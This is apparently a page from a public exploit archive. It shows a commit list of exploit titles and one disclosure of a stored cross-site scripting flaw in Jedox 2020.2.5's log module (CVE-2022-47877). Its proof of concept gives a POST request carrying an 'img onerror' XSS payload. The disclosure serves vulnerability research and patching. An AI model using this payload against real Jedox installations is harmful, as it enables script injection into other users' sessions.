8945b320b5
20 changes to exploits/shellcodes/ghdb Codigo Markdown Editor v1.0.1 (Electron) - Remote Code Execution Cmaps v8.0 - SQL injection EasyPHP Webserver 14.1 - Multiple Vulnerabilities (RCE and Path Traversal) File Thingie 2.5.7 - Remote Code Execution (RCE) Intern Record System v1.0 - SQL Injection (Unauthenticated) Jedox 2020.2.5 - Disclosure of Database Credentials via Improper Access Controls Jedox 2020.2.5 - Remote Code Execution via Configurable Storage Path Jedox 2020.2.5 - Remote Code Execution via Executable Groovy-Scripts Jedox 2020.2.5 - Stored Cross-Site Scripting in Log-Module Jedox 2022.4.2 - Code Execution via RPC Interfaces Jedox 2022.4.2 - Disclosure of Database Credentials via Connection Checks Jedox 2022.4.2 - Remote Code Execution via Directory Traversal KodExplorer v4.51.03 - Pwned-Admin File-Inclusion - Remote Code Execution (RCE) Online Pizza Ordering System v1.0 - Unauthenticated File Upload pluck v4.7.18 - Stored Cross-Site Scripting (XSS) Simple Task Managing System v1.0 - SQL Injection (Unauthenticated) Ulicms-2023.1 sniffing-vicuna - Remote Code Execution (RCE) Ulicms-2023.1 sniffing-vicuna - Stored Cross-Site Scripting (XSS) Wolf CMS 0.8.3.1 - Remote Code Execution (RCE)
34 lines
No EOL
988 B
Text
34 lines
No EOL
988 B
Text
# Exploit Title: Jedox 2020.2.5 - Stored Cross-Site Scripting in Log-Module
|
|
# Date: 28/04/2023
|
|
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
|
|
# Vendor Homepage: https://jedox.com
|
|
# Version: Jedox 2020.2 (20.2.5) and older
|
|
# CVE : CVE-2022-47877
|
|
|
|
|
|
Introduction
|
|
=================
|
|
A Stored cross-site scripting vulnerability allows remote authenticated users to inject arbitrary web scripts or HTML in the logs page via the log module. To exploit the vulnerability, the attacker must append an XSS payload to the log message.
|
|
|
|
|
|
Write-Up
|
|
=================
|
|
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.
|
|
|
|
|
|
Proof of Concept
|
|
=================
|
|
1) Store log entry with XSS payload:
|
|
|
|
PATH: /ub/ccmd
|
|
METHOD: POST
|
|
BODY:
|
|
[
|
|
[
|
|
"log",
|
|
"error",
|
|
"<img src=# onerror=\"alert('XSS')\">"
|
|
]
|
|
]
|
|
|
|
2) Trigger XSS payload by opening the Logs page and showing the respective log entry. |